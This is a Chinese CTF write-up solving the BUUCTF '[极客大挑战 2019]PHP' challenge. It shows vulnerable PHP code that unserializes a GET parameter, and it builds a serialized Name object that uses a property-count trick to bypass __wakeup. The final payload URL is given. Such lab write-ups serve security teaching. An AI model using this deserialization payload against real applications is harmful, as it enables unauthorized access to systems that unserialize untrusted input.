首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【BUUCTF】[极客大挑战 2019]PHP

【BUUCTF】[极客大挑战 2019]PHP

作者头像
熔城Sec
发布2026-07-22 20:26:54
发布2026-07-22 20:26:54
520
举报

01、题目简介

  • 题目名称:[极客大挑战 2019]PHP
  • 题目平台:BUUCTF
  • 题目类型:Web

02、解题步骤

启动并访问靶机

根据提示,我们需要找出网站的备份文件,通过目录扫描器,扫描出www.zip

查看index.php文件,发现代码中存在反序列化函数unserialize

代码语言:javascript
复制
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

查看class.php文件,发现Name类中,有username和password这两个私有属性,且存在多个魔术方法

代码语言:javascript
复制
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

construct方法:对username和password进行赋值

代码语言:javascript
复制
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

wakeup方法:在执行unserialize()前会先检查wakeup是否存在,如果存在则调用

代码语言:javascript
复制
    function __wakeup(){
        $this->username = 'guest';
    }

destruct方法:在代码中的两个if语句中,只要password=100,username=admin,就可以得到flag,但是由于存在wakeup方法,所以无论输入什么,username都会被变成guest

代码语言:javascript
复制
function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();   
        }

整体思考下来,最后的目的其实就是绕过wakeup方法,将admin和password的值分别改为100和admin,再进行反序列化操作

代码语言:javascript
复制
<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
echo serialize(new Name);
?>

上面代码先对admin和password的值分别改为100和admin,并进行反序列化操作,得到O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

接下来我们需要通过更改属性个数进行wakeup方法绕过,那得出O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

这样就得出payload了

代码语言:javascript
复制
/index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档